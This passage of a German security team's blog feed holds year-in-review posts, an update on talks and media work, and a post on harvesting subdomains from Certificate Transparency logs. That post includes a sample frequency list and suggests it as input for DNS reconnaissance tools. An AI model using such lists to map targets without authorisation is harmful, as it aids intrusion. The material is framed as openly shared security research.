<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">I had fun with my colleagues from <a href="https://twitter.com/ENOFLAG?ref_src=twsrc%5Etfw">@ENOFLAG</a> at the <a href="https://twitter.com/ructf?ref_src=twsrc%5Etfw">@ructf</a> finals!<br><br>Nice venue, nice challenges, nice people. 10/10  :) <a href="https://twitter.com/hashtag/ructf?src=hash&amp;ref_src=twsrc%5Etfw">#ructf</a> <a href="https://t.co/l6DXaPjUMz">pic.twitter.com/l6DXaPjUMz</a></p>&mdash; Sebastian Neef (@gehaxelt) <a href="https://twitter.com/gehaxelt/status/856475338561474560?ref_src=twsrc%5Etfw">24. April 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h3>Quantenkonferenz</h3>

<p>Im Juni fand die von Golem.de organisierte <a href="https://www.golem.de/g20j/">Quantenkonferenz</a> statt, auf die wir freundlicherweise eingeladen wurden. Die Konferenz war ein guter Einstieg in das (für uns) noch relativ neue Thema der Quantencomputer. Es wird vermutet, dass mit Quantencomputern die bekannte Kryptographie &#8220;gebrochen&#8221; werden könnte, aber glücklichweise erbringen Quantencomputer mit nur wenigen Qubits bisher kaum die nötige Rechenleistung. Wir finden das Thema sehr spannend und werden beobachten, was sich in dem Themengebiet in den kommenden Jahren tun wird.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Woop woop! I&#39;m ready for quantum computing and interesting talks. Thanks for the invitation, <a href="https://twitter.com/golem?ref_src=twsrc%5Etfw">@golem</a> :) <a href="https://t.co/PsISBA1hKB">pic.twitter.com/PsISBA1hKB</a></p>&mdash; Sebastian Neef (@gehaxelt) <a href="https://twitter.com/gehaxelt/status/878142489944870912?ref_src=twsrc%5Etfw">23. Juni 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h3>Z2X</h3>

<p>Anfang September 2017 war Tim auf dem <a href="http://z2x.zeit.de/">Z2X Festival von ZEIT Online</a>, hat dort die Arbeit von Internetwache.org vorgestellt und generell Fragen zum Thema Hacking beantwortet. Unser Projekt &#8220;Internetwache.org&#8221; wurde abschließend durch die <a href="http://www.zeit.de/campus/2017-09/z2x-festival-zehn-beste-projekte">800 Teilnehmer von Z2X sogar auf Platz 2</a> gewählt. Es freut uns im Rahmen solcher Events auf positive Resonanz und Unterstützung zu stoßen.  Z2X war für Tim eine besondere Erfahrung, die er auch 2018 nicht missen möchte. Nächstes Jahr wird Sebastian auch dabei sein, um Tim bei der Vorstellung des Projekts zu unterstützen.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="de" dir="ltr"><a href="https://twitter.com/hashtag/Z2X17?src=hash&amp;ref_src=twsrc%5Etfw">#Z2X17</a>-Finalist: <a href="https://t.co/3ygE9usCVt">https://t.co/3ygE9usCVt</a> will das Internet durch Hacking sicherer machen <a href="https://t.co/FMQC9a5vTF">pic.twitter.com/FMQC9a5vTF</a></p>&mdash; z2xfest (@z2xfest) <a href="https://twitter.com/z2xfest/status/904346744896581632?ref_src=twsrc%5Etfw">3. September 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h3>34C3</h3>

<p>Am Ende des Jahres waren wir wieder auf dem größten, europäischem Hackercongress (wie die letzten 4 Jahren), der <a href="https://events.ccc.de/congress/2017/wiki/index.php/Main_Page">34. Edition des Chaos Communication Congresses</a>. Vier Tage lang hörten wir uns spannende Vorträge an, genossen die Hacker-Atmosphäre und trafen einige unserer Freunde und Follower wieder! Wie auch im Vorjahr hatten wir ein eigenes Assembly und freuen uns mit einigen Leuten ins Gespräch gekommen zu sein. Mit dem Standortwechsel nach Leipzig (zuvor waren wir immer in Hamburg) ergaben sich viele neue Herausforderungen, die aber gut gelöst wurden und eine wunderbare Zeit ermöglichten. Wir freuen uns auf die nächste Edition Ende 2018 (#35c3)!</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Thank you for a very nice <a href="https://twitter.com/hashtag/34c3?src=hash&amp;ref_src=twsrc%5Etfw">#34c3</a><br>Amazing talks, friendly discussions and hacking around! Looking forwars to <a href="https://twitter.com/hashtag/35c3?src=hash&amp;ref_src=twsrc%5Etfw">#35c3</a> ^ts <a href="https://t.co/bOgLmp0EX0">pic.twitter.com/bOgLmp0EX0</a></p>&mdash; Internetwache.org (@internetwache) <a href="https://twitter.com/internetwache/status/947147222571012096?ref_src=twsrc%5Etfw">30. Dezember 2017</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Unsere Sticker kamen dieses Jahr besser als letztes Jahr an. Insgesamt verteilten wir alle 1000 Stück auf dem Congress. Habt ihr (k)einen abbekommen? Dann lasst es uns wissen :)</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">We distributed around 1000 new stickers at the <a href="https://twitter.com/hashtag/34C3?src=hash&amp;ref_src=twsrc%5Etfw">#34C3</a>. Who got a fancy <a href="https://twitter.com/hashtag/wannacry?src=hash&amp;ref_src=twsrc%5Etfw">#wannacry</a> sticker on his laptop now? ^sn <a href="https://t.co/71WdIEpQ1M">pic.twitter.com/71WdIEpQ1M</a></p>&mdash; Internetwache.org (@internetwache) <a href="https://twitter.com/internetwache/status/949022731722469376?ref_src=twsrc%5Etfw">4. Januar 2018</a></blockquote>


<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<h2>Persönliche Erfolge</h2>

<p>Sebastian (<a href="https://twitter.com/gehaxelt">@gehaxelt</a>) hat seinen Bachelor mit einer Arbeit zum Thema <a href="https://arxiv.org/abs/1709.01142">Implementation and Evaluation of a Framework to calculate Impact Measures for Wikipedia Authors</a> abgeschlossen. Danach ist er mit einem Kumpel 2.5 Monate und insgesamt 12,000 Kilometer durch fast alle Länder Osteuropas gefahren, und hat dabei viele neue Eindrücke und Erfahrungen gesammelt. Das Masterstudium und möglicherweise ein Auslandsaufenthalt sind für 2018 geplant!</p>

<p>Tim (<a href="https://twitter.com/TimPhSchaefers">@TimPhSchaefers</a>) hat ebenfalls seinen Bachelor abgeschlossen. In seiner Bachelorarbeit hat er sich mit einer Evaluation im Bereich PAM (Privileged Access Management) beschäftigt. Desweiteren wurde Tim zum <a href="https://gi.de/fileadmin/GI/Hauptseite/Ueber_uns/Auszeichnungen/Junior-Fellows/GI-Junior-Fellow2017-schaefers.pdf">Junior-Fellow der Gesellschaft für Informatik</a> ernannt. Außerdem hat er, gemeinsam mit einem Kommilitonen, ein zweites Buch mit dem Titel  <a href="http://amzn.to/2E6FeqS">&#8220;WLAN Hacking&#8221;</a> geschrieben, welches im Januar 2018 erscheint.
Im Rahmen seines Junior-Fellowships bei der <a href="https://gi.de/">Gesellschaft für Informatik</a> möchte Tim sich weiterhin für die Themen IT-Sicherheit und Privatsphäre einsetzen.</p>

<h2>2017 in Zahlen</h2>

<p>Mit mehr als 2200 Followern auf unserem <a href="https://twitter.com/internetwache">@internetwache</a> Twitterprofil erfreuen wir uns einem Zuwachs von ungefähr 1.6 Followern pro Tag im vergangenen Jahr.</p>

<p>Die Besucherzahlen unseres Blogs stieg dieses Jahr wieder einmal kräftig an. Wir zählen verzeichnen ungefahr 40,000 Besuchen mit insgesamt 52,000 Seitenansichten. Das ist ein 50% Anstieg an Besuchen im Vergleich zum Vorjahr! Wahrscheinlich haben wir diese Zahlen vorallem unseren internationalen Lesern zu verdanken, denn die englische Version des Blogs wird ungefähr 3x häufiger besucht als die deutsche Version. Das Ergebnis erstaunt uns dennoch, denn im Gegensatz zum Vorjahr, schrieben wir dieses Jahr insgesamt nur drei Artikel. Leider fehlte uns für mehr Research und mehr Posts die Zeit, aber wir versuchen das 2018 zu ändern.</p>

<p>Wir hoffen euch mit tollen, neuen Erkenntnissen überraschen zu können und haben bereits einige Ideen. Kommen wir also zum Ausblick &#8230;</p>

<h2>Ausblick auf 2018</h2>

<p>Im Jahr 2017 haben wir, anders als geplant, leider nicht die Kraft und Zeit gefunden ein CTF (capture the flag) zu veranstalten. Da <a href="https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick-06-03-2016/">unser erstes CTF</a> uns allerdings sehr viel Spaß gemacht hat, wollen wir in Zukunft erneut ein CTF hosten.</p>

<p>In 2018 möchten wir unsere Medienarbeit und Auftriffe auf Konferenzen weiter intensivieren. Außerdem wollen wir wieder mehr Research Blogposts (ggfs. auch über golem.de) veröffentlichen. Wir haben bereits einige Themenideen und es wird in Kürze etwas dazu zu hören geben.</p>

<p><strong><em>Für 2018 oder besser gesagt 2019 planen wir noch eine Überraschung. Wir werden im Blog darüber berichten.</em></strong></p>

<p>In dem Sinne wünschen wir allen unseren Lesern ein erfolgreiches 2018!</p>

<p>Tim &amp; Sebastian</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Certificate Transparency als Quelle für Subdomains]]></title>
    <link href="https://www.internetwache.org/certificate-transparency-als-quelle-fur-subdomains-14-12-2017/"/>
    <updated>2017-12-14T00:00:00+01:00</updated>
    <id>https://www.internetwache.org/certificate-transparency-als-quelle-fur-subdomains</id>
    <content type="html"><![CDATA[<p>Wir waren dieses Jahr viel beschäftigt, aber dennoch möchten wir ein kleines Projekt vorstellen, dessen Ideen Sebastian im Urlaub kam: Das Erstellen einer Subdomain-Liste anhand der Certificate Transparency Logs. Die gesammelten Daten teilen wir natürlich mit der Community und bereiten sie automatisch stündlich neu auf.</p>

<!-- more -->


<p><a href="https://www.certificate-transparency.org/">Certificate Transparency</a> ist ein Projekt von Google, dass die Überwachung von ausgestellten SSL/TLS-Zertifikaten übernimmt, um beispielsweise falsch ausgestellte Zertifikate erkennen und widerrufen zu können. Certificate Authorities sind angehalten ihre ausgestellten Zertifikate in den öffentlich zugänglichen Logs zu protokollieren. So findet man zum Beispiel <a href="https://crt.sh/?q=internetwache.org">alle Zertifikate der Internetwache.org</a>.</p>

<p>In diesen Logs befinden sich die Informationen zum gesamten Zertifikat, d.h. auch die Domain, für die es gilt. Seit dem Start von <a href="https://letsencrypt.org/">Let&#8217;s Encrypt</a> können schnell, einfach und kostenlos Zertifikate generiert und eingebunden werden. Allerdings unterstützt Let&#8217;s Encrypt bisher <a href="https://letsencrypt.org/2017/07/06/wildcard-certificates-coming-jan-2018.html">noch keine Wildcards</a> - diese kommen erst im Januar 2018 zum Einsatz. Noch muss bei Let&#8217;s Encrypt also jede Subdomain explizit im Zertifikat genannt sein. Dies wiederum bedeutet, dass Subdomains, dessen Existenz man bisher nicht vermuten konnte (z.B. xyz-asd.domain.tld), nun einfach zu entdecken sind.</p>

<p>Aus Sicht eines Hackers kann das durchaus von Interesse sein. Sebastians Idee bestand darin, mit dem Python-Modul <a href="https://pypi.python.org/pypi/certstream">certstream</a> auf Log-Updates der Certificate Transparency zu horchen, aus den geparsten Zertifikaten die Subdomains zu extrahieren und in eine Datenbank einzupflegen. Um diese Subdomains der Häufigkeit nach zu sortieren, wird außerdem ein Zähler mit gespeichert. Ganz automatisiert werden die Top 100/1000/10,000/100,000 Domains stündlich ins <a href="https://github.com/internetwache/CT_subdomains">GitHub Repository &#8220;CT_Subdomains&#8221;</a> exportiert.</p>

<p>Die Einträge sehen folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># Generated 2017-12-11 11:00:01.087903
</span><span class='line'>count,subdomain
</span><span class='line'>8529329,*
</span><span class='line'>3573653,www
</span><span class='line'>779370,mail
</span><span class='line'>507273,webdisk
</span><span class='line'>497893,webmail
</span><span class='line'>480967,cpanel
</span><span class='line'>178293,autodiscover
</span><span class='line'>21955,dev
</span><span class='line'>19415,blog
</span><span class='line'>18989,m
</span><span class='line'>18518,test
</span><span class='line'>16513,shop
</span><span class='line'>15859,whm
</span><span class='line'>10483,api
</span><span class='line'>10236,admin
</span><span class='line'>9341,com
</span><span class='line'>7521,mdp
</span><span class='line'>7484,staging
</span><span class='line'>7370,cloud
</span><span class='line'>7173,demo
</span><span class='line'>6667,app
</span><span class='line'>6275,tls
</span><span class='line'>6070,eu
</span><span class='line'>5882,mbox12
</span><span class='line'>5223,store</span></code></pre></td></tr></table></div></figure>


<h2><a href="https://github.com/internetwache/CT_subdomains">Link zum GitHub Repository &#8220;CT_subdomains&#8221;</a></h2>

<p>Diese Liste könnte zum Beispiel als Eingabe für DNS-Reconnaissance Tools, wie <a href="https://github.com/OJ/gobuster">gobuster</a> usw. nützlich sein.</p>

<p>Es gab bereits einige Beiträge darüber wie Certificate Transparency Websicherheit gefährden kann, beispielsweise von <a href="https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/DEFCON-25-Hanno-Boeck-Abusing-Certificate-Transparency-Logs.pdf">Hanno Boeck auf der DEF CON 25</a></p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Update zu 2017 - Und wir leben noch!]]></title>
    <link href="https://www.internetwache.org/update-zu-2017-und-wir-leben-noch-08-09-2017/"/>
    <updated>2017-09-08T09:28:00+02:00</updated>
    <id>https://www.internetwache.org/update-zu-2017-und-wir-leben-noch</id>
    <content type="html"><![CDATA[<p>In diesem Blogpost ein kurzes Update zu unserem Projekt und aktuellen Ereignissen rund um unser Projekt.</p>

<!-- more -->


<h2>ZDF WISO</h2>

<p>Wir haben unsere Arbeit in der Sendung WISO im ZDF, ausgestrahlt am 8.Mai, vorgestellt. Darin geht es vorallem um die (Un-)Sicherheit von Wasserkraftwerken in Deutschland, einer <a href="https://www.golem.de/news/gebaeudesteuerung-luxusklinik-vergass-it-im-netz-1702-126362.html">Klinik in der Schweiz</a> und IT-Sicherheit generell:
<a href="https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html">Beitrag ZDF WISO, verfügbar bis 08.05.2018</a></p>

<h2>Besuch im EU Parlament in Brüssel</h2>

<p>Wir wurden im Juni 2017 zu einer Anhörung zum Thema &#8220;IoT Security&#8221; in das EU Parlament nach Brüssel eingeladen. Die Einladung erfolgte nach dem &#8220;Ausbruch von Wannacry&#8221; und hat sich deshalb auch mit der zunehmenden Bedrohung einer vernetzten Welt beschäftigt. Für uns war der Vortrag eine eher ungewöhnliche Rolle, da wir mit Politik bisher meist indirekt (über Medienauftritte) in Kontakt gekommen sind. Uns hat die Diskussion vor Ort und der Austausch mit anderen Interessierten auf dem Gebiet Spaß gemacht und es war spannend auch andere Standpunkte, beispielsweise die der Industrie, nachzuvollziehen. Wer sich für die Debatte interessiert kann einige Informationen in <a href="https://www.janalbrecht.eu/sprachen/en/artikel/2017-06-21-security-in-the-internet-of-things.html">diesem Blogpost vom MEP Jan Philipp Albrecht</a> nachlesen.</p>

<h2>TAZ</h2>

<p>In der Kategorie &#8220;Politik/Netzpolitik&#8221; erschien ein Beitrag mit dem Namen <a href="https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/">&#8220;Gehackte Daten aus dem Bundestag - Im Visier der Cyberkrieger&#8221;</a> zu dem wir unsere Einschätzung abgegeben haben.</p>

<h2>Z2X</h2>

<p>Tim hat Anfang September am <a href="http://z2x.zeit.de/">&#8220;Z2X17&#8221;</a> von Zeit Online teilgenommen. Auf die Veranstaltung ist er bereits im letzten Jahr aufmerksam geworden, da war es allerdings zu spät für eine Anmeldung. Das Ganze hat er allerdings in diesem Jahr nachgeholt und war begeistert vom Z2X. Denn dort kamen 800 Personen im Alter von 20 bis 29 Jahren zusammen und haben darüber diskutiert, wie wir in Zukunft leben möchten. Tim hat ein <a href="https://z2x.zeit.de/event/der-gute-hacker/">&#8220;Frag mich alles&#8221;</a> dort abgehalten, in dem er vor allem über den friedlichen Einsatz von Informatik, Cyberwar, aber auch das Projekt &#8220;Internetwache.org&#8221; gesprochen hat.
Zum Schluss des Z2X wurde unser Projekt &#8220;Internetwache.org&#8221; als <a href="http://www.zeit.de/campus/2017-09/z2x-festival-zehn-beste-projekte">2-Bestes von den 10 Finalisten</a> durch die Besucher gewählt. Das zeigt uns, dass unsere Aktivitäten und verantwortliches Hacken in der heutigen Zeit gebraucht und akzeptiert werden. Wir freuen uns sehr über diese Unterstützung und wollen versuchen, unsere Fortschritte (mit-)zuteilen.</p>

<h2>Sonstiges</h2>

<p>Sebastian hat in der Zwischenzeit seine Bachelorarbeit mit dem Thema <a href="https://arxiv.org/abs/1709.01142">&#8220;Implementation and Evaluation of a Framework to calculate Impact Measures for Wikipedia Authors&#8221;</a> fertiggestellt und ist die nächsten paar Wochen/Monate im Urlaub, er fährt durch Osteuropa.</p>

<p>Tim schreibt aktuell noch seine Bachelorarbeit im Themenbereich &#8220;Privileged Access Management&#8221; und wird diese voraussichtlich noch in diesem Jahr fertigstellen.
Darüberhinaus wird er demnächst zum <a href="https://www.gi.de/nc/aktuelles/meldungen/detailansicht/article/gesellschaft-fuer-informatik-ernennt-gi-junior-fellows-2017-1.html">Junior-Fellow bei der Gesellschaft für Informatik</a> ernannt und sein zweites Fachbuch (<a href="https://www.amazon.de/WLAN-Hacking-Angriffsmethoden-Schwachstellen-Funknetz/dp/3645605231/ref=asap_bc?ie=UTF8">&#8220;WLAN Hacking&#8221;</a>), welches er zusammen mit <a href="https://twitter.com/Rico_Walde">Rico Walde</a> geschrieben hat, wird veröffentlicht.</p>

<h2>Ausblick</h2>

<p>Wir haben noch einige Sachen für die Zukunft geplant. Vielleicht kommt es dieses Jahr auch noch zu einem Internetwache.org CTF 2017 ;) - also einer Neuauflage des <a href="https://en.internetwache.org/internetwache-ctf-2016-review-01-03-2016/">&#8220;Internetwache CTF von 2016&#8221;</a>.
Außerdem werden wir Ende des Jahres wieder beim #34c3 mit einem Assembly vertreten sein (dieses Jahr in Leipzig) und freuen uns dort einige von euch zu treffen. Außerdem planen wir bereits einiges für 2018 ein, also bleibt gespannt ;)</p>

<p>Wir verbleiben vorerst mit freundlichen Grüßen
Das Team der Internetwache.org</p>

<p>PS: Wir versprechen demnächst auch auf dem Blog mal wieder mehr Informationen zu veröffentlichen, wer darüber hinaus auf dem Laufenden bleiben möchte, kann uns gern auf Twitter folgen: <a href="https://twitter.com/internetwache">@internetwache</a></p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Jahresrückblick auf 2016 / Ausblick 2017]]></title>
    <link href="https://www.internetwache.org/jahresruckblick-auf-2016-slash-ausblick-2017-01-01-2017/"/>
    <updated>2017-01-01T21:27:00+01:00</updated>
    <id>https://www.internetwache.org/jahresruckblick-auf-2016-slash-ausblick-2017</id>
    <content type="html"><![CDATA[<p>Wie auch im letzten Jahr, werden wir in diesem Artikel einen Rückblick in das vergangene Jahr vornehmen und einen Ausblick auf das kommende Jahr wagen.</p>

<!-- more -->


<h2>Community Aktion &amp; CTF</h2>

<p>Wie im <a href="https://www.internetwache.org/ruckblick-auf-2015-04-01-2016/">letzten Jahresrückblick</a> angekündigt, wollten wir uns bei allen Begleitern aus der Community für die bisherige Unterstützung des Projektes Internetwache.org bedanken - aus diesem Grund haben wir an einem Wochenende im Februar ein &#8220;Capture The Flag&#8221; (CTF) veranstaltet. Die Teilnahme war überwältigend! Mit über 1500 registrierten Teams und 650 aktiv teilnehmenden Teams wurden unsere Erwartungen weit übertroffen.
Wer sich genauer für die Statistiken interessiert, dem empfehlen wir einen Blick auf den <a href="https://www.internetwache.org/internetwache-ctf-2016-im-ruckblick-06-03-2016/">damals verfassten Artikel dazu</a>.</p>

<p><a rel="fancybox"href="/images/posts/iwctf16-logo.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-logo.png" alt="Internetwache CTF 2016 logo" title="Internetwache CTF 2016 logo" /></a></p>

<p>Als weitere kleine Community-Aktion haben wir unseren ersten Satz an Stickern erstellt und auf dem <a href="https://events.ccc.de/congress/2016/wiki/Main_Page">33c3</a> (CCC-Congress) verteilt. Unserer Meinung nach sind die Sticker für den ersten Durchlauf ganz gut gelungen. Wenn ihr uns das nächste Mal trefft, dann bekommt ihr bestimmt auch welche.</p>

<p><a rel="fancybox"href="/images/posts/iw-sticker.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iw-sticker.png" alt="Internetwache.org Stickers and Assembly" title="Internetwache.org Stickers" /></a></p>

<h2>Unsere Arbeit</h2>

<p>Bereits im <a href="https://www.internetwache.org/ruckblick-auf-2015-04-01-2016/">Ausblick auf 2016</a> haben wir geschrieben, dass wir uns näher mit Industrial Control Systems (ICS) und SCADA-Systemen beschäftigen wollen. Dieses Vorhaben wurde von uns umgesetzt und es ist uns sogar gelungen die <a href="https://www.internetwache.org/wie-wir-wasserwerke-im-internet-entdeckten-16-08-2016/">Steuerung von 3 deutschen Wasserwerken im Internet ausfindig zu machen</a>.
Zudem wurden wir von einer Quelle darauf hingewiesen, dass sich mobile Ampelsysteme über das Internet abrufen und im schlimmsten Fall sogar steuern ließen. Die genannten und einige weitere Funde haben wir an das BSI (Bundesamt für Sicherheit für Informationstechnik) und CERTs weltweit gemeldet, sodass wir gemeinsam mit ihnen, den Herstellern und Betreibern Sicherheitslücken schließen und Netzwerke schützen konnten.
Außerdem haben wir im September eine <a href="https://www.internetwache.org/analyse-zum-vorgehen-einer-kryptomining-malware-09-09-2016/">Analyse zu einem Kryptotrojaner</a> durchgeführt und ein konkretes Beispiel dazu auf in einem <a href="http://www.golem.de/news/kritische-infrastrukturen-wenn-die-usv-kryptowaehrungen-schuerft-1608-122837.html">Beitrag auf golem.de</a> veröffentlicht.</p>

<p>Grundsätzlich sind wir immernoch im Rahmen von Bug Bounty Programmen aktiv, allerdings nicht mehr so stark wie früher. Uns fehlt schlichtweg die Zeit, da wir noch anderen Dingen nachgehen und zudem muss man offen zugeben, dass es mittlerweile deutlich mehr Security-Researcher gibt, die an Bug Bounty Programmen teilnehmen, als noch vor einiger Zeit. Generell sind wir allerdings immernoch auf Plattformen wie HackerOne oder Bugcrowd aktiv - meist in privaten Programmen.</p>

<h2>Medienberichte</h2>

<p>Sehr erfreulich war zudem, dass die Arbeit von Internetwache.org auch außerhalb der Fachwelt in der Medienberichterstattung zu finden war.
So hat beispielsweise Spiegel sowohl <a href="http://www.spiegel.de/netzwelt/web/deutschland-sicherheitsluecke-wasserwerke-ungeschuetzt-im-internet-a-1103147.html">online</a> als auch im <a href="https://magazin.spiegel.de/SP/2016/29/145848247/index.html">Print</a> über unsere Wasserwerk-Funde berichtet. Zudem ist ein Artikel auf <a href="http://www.zeit.de/digital/internet/2016-07/kritische-infrastrukturen-hacker-wasserwerk-internetwache">zeit.de</a> und <a href="http://www.handelsblatt.com/technik/it-internet/it-schwachstellen-bei-industrieanlagen-angriffsziel-wasserwerk/13883258.html">handelsblatt.de</a> von uns veröffentlicht worden.
Neben diesen Medien verfassen wir seit Beginn des Jahres hin und wieder Artikel für <a href="http://golem.de">golem.de</a>, um über unsere Funde zu berichten.</p>

<p>Neu in 2016 und daher recht ungewöhnlich für uns, war, dass es einige Video-Beiträge über unsere Arbeit gab. So haben wir beispielsweise gemeinsam mit Redakteueren der Deutschen Welle, dem Westdeutschem Rundfunk (WDR), der ARD und SpiegelTV (RTL) an Beiträgen gearbeitet. Um einen kleinen Eindruck davon zu geben, empfehlen wir folgende Videos.</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/toxvIza-Too" frameborder="0" allowfullscreen></iframe>




<iframe width="560" height="315" src="https://www.youtube.com/embed/LbR7iV7Mv_0" frameborder="0" allowfullscreen></iframe>


<p><a href="http://www.daserste.de/information/wirtschaft-boerse/plusminus/sendung/hr/cyberangriffe-wasserwerke-energieversorger-100.html">ARD Video</a></p>

<p><a href="http://www1.wdr.de/nachrichten/landespolitik/westpol-it-sicherheitsluecken-100.html">WDR-Beitrag</a></p>

<p>Grundsätzlich möchten wir uns bei allen Journalistinnen und Journalisten für die Berichterstattung und auch teils kritische Anmerkungen zu unserer Arbeit bedanken. Auch zukünftig wird es uns ein Anliegen sein, die Auswirkungen von unsicheren informationstechnischen Systemen auf unsere vernetzte Gesellschaft zu beschreiben und einen Dialog darüber mit der Öffentlichkeit zu führen. Wir nehmen Anfragen, Anregungen und Kritik gern <a href="https://www.internetwache.org/pgp-kontakt/">über Email</a> entgegen.</p>

<h2>Konferenzen</h2>

<p>Im Jahr 2016 waren sowohl Sebastian als auch Tim auf einer Vielzahl von Konferenzen, worüber wir auch in einigen Blogbeiträgen berichtet haben.
Tim war auf dem <a href="https://www.internetwache.org/besuch-auf-dem-security-analyst-summit-number-thesas2016-28-02-2016/">Security Analyst Summit 2016</a> und Sebastian auf der <a href="https://www.internetwache.org/zu-besuch-auf-troopers-2016-04-04-2016/">TROOPERS</a> und der <a href="http://alligatorcon.pl/">Alligatorcon</a>. Außerdem ist es für uns mittlerweile fast &#8220;Tradition&#8221; am Ende des Jahres beim Chaos Computer Club auf dem Kongress (33c3) zu sein - in diesem Jahr sogar mit eigenem Assembly. Aus unserer Sicht bieten Konferenzen eine prima Möglichkeit neue Erfahrungen, Ideen und Ansätze zu sammeln - zudem haben wir immer wieder sehr nette Menschen kennenlernen dürfen. An dieser Stelle wollen wir uns für all die informativen und angenehmen Gespräche bedanken und freuen uns auch diese in Zukunft zu führen.</p>

<h2>2016 in Zahlen</h2>

<p>Nach der erfolgreichen Durchführung unseres CTF-Wettbewerbs im Februar und dem daraus resultierenden Anstieg an Followern, blieb diese Tendenz weiterhin bestehen. Damit können wir uns nun über mehr als 1600 Follower freuen.
Falls noch einige dazu stoßen wollen - das hier ist unserer Account: <a href="https://twitter.com/internetwache">@internetwache</a>.</p>

<p>Der Traffic auf unserem Webblog hat sich im Vergleich zu 2015 verdoppelt. Wir zählen nun etwa 25.000 Besuche mit mehr als 45.000 Seitenansichten. Mit nur 8 neuen Artikel in diesem Jahr können sich diese Zahlen schon sehen lassen. Einen Hinweis dazu haben wir mittelweile im <a href="https://www.internetwache.org/faq/">FAQ</a> vermerkt, trotzdem führen wir das an dieser Stelle noch einmal kurz aus: Grundsätzlich schreiben wir lieber wenige, dafür aber gut durchdachte Artikel - anstatt sehr vielen die nur mittelmäßig sind. Da wir den Blog in Englisch und Deutsch betreiben und es auch weiterhin dabei bleiben soll, fällt pro Artikel fast die doppelte Arbeit an. Zudem gehen wir noch unseren normalen Berufen nach.</p>

<p>Julien ist seit Mitte des Jahres nicht mehr Mitglied im <a href="https://www.internetwache.org/team/">Team von Internetwache.org</a>. Wir danken Julien für seine Mitarbeit und Unterstützung des Projektes und wünschen ihm viel Erfolg! Sehr gern verweisen wir an dieser Stelle auf seinen Security-Blog <a href="http://rcesecurity.com">rcesecurity.com</a> auf dem er seine Erfahrungen und Funde weiterhin teilt. Wir sind sicher, dass wir auch zukünftig noch Kontakt mit ihm haben werden und haben ihm als ehemaliges Mitglied des Teams einen Platz in unserer <a href="https://www.internetwache.org/pgp-kontakt/">Hall of Fame</a> verliehen.</p>

<h2>Persönliche Erfolge</h2>

<p><a href="https://twitter.com/gehaxelt">Sebastian</a> schreibt weiter über persönlichen Research, welcher nicht unbedingt zum Thema Web gehört, auf dem Blog <a href="http://0day.work">0day.work</a>. Im nächsten Jahr wird es dort noch einige weitere Ergebnisse und Blogposts geben. Des Weiteren wurde letztes Jahr häufiger an CTF-Wettbewerben mitgespielt - meistens jedoch als Teil des <a href="https://twitter.com/enoflag">@ENOFLAG</a> Teams. Sehr spannend war dabei das Finale vom <a href="https://www.ructf.org/">RuCTF</a>, welches in Jekaterinburg in Russland stattfand. Gemessen an der Menge des getrunkenen Vodkas ist ein 9. Platz trotzdem vorzeigbar. Die Qualifikation für das nächste Finale wurde mit einem 6. Platz auch zufriedenstellend abgeschlossen.</p>

<p>Ein weiterer Erfolg war die Organisation des Internetwache-CTF 2016. Wie im oben verlinkten Blogpost beschrieben, kam der CTF sehr gut an.</p>

<p><a href="https:///twitter.com/TimPhSchaefers">Tim</a> schreibt seit Beginn 2016 nach Interesse über die Themen Informationssicherheit und Privatsphäre auf dem Web-Portal <a href="http://golem.de">golem.de</a>. Außerdem wurde im April sein erstes IT-Fachbuch zum Thema &#8220;Websicherheit&#8221; veröffentlicht, es trägt den Namen <a href="http://amzn.to/1Z0ipxA">&#8220;Hacking im Web&#8221;</a> und wurde innerhalb von 5 Monaten bereits über 1000-mal verkauft. Zu dem Thema Webhacking betreibt Tim auch einen <a href="https://hacking-im-web.de/blog.html">Blog</a> auf dem demnächst noch weitere Artikel folgen sollen. Neben seinem Studium hat  er zudem eine IHK-Ausbildung erfolgreich abgeschlossen und 3 Monate in Barcelona gelebt. 2017 geht es in die finale Phase des dualen Studiums - außerdem hat er vor den ein oder anderen Blogpost (auf einem eigenem Blog) zu schreiben.</p>

<h2>Ausblick auf 2017</h2>

<p>Die meisten unserer Ziele für 2016 konnten wir erreichen. Wir versuchen hier ein weiteres Mal unsere Arbeit für das nächste Jahr vorauszusagen:
